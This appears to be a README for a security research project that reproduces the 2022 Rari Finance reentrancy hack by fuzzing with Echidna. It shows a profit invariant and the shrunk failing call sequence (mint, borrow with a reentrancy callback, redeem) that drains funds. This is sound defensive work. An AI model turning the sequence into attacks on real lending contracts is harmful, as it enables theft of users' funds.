This is a reproduction of the $80M Rari Finance hack on April 30 2022, using on-chain fuzzing with Echidna.
We're using a single invariant which checks if an actor is able to increase their balance by an unreasonably large amount. We have a basic set of functions such as mint, borrow and exitMarket, etc. Since the hack involves reentrancy, we've implemented rudementary reentrancy support in EchidnaReentrancy.
After running for approximately 30 minutes (1 worker), we can detect a significant increase in funds for the attacking actor. The shrunk sequence can be seen below.
testProfit(): failed!💥
Call sequence:
setReentrancyEnabled(true)
mint(5,10089325332519370949262917519849428342404732088146691233195543578618300570336)
setReentrancyCallback(4)
borrow(2,1164710473815707741)
redeem(2,995200615491)
testProfit()
Event sequence:
Panic(1): Using assert
Debug(«account0Profit», 0) from: 0xa329c0648769a73afac7f9381e08fb43dbea72
Debug(«account1Profit», 1002263350696681541) from: 0xa329c0648769a73afac7f9381e08fb43dbea72
Debug(«account2Profit», 0) from: 0xa329c0648769a73afac7f9381e08fb43dbea72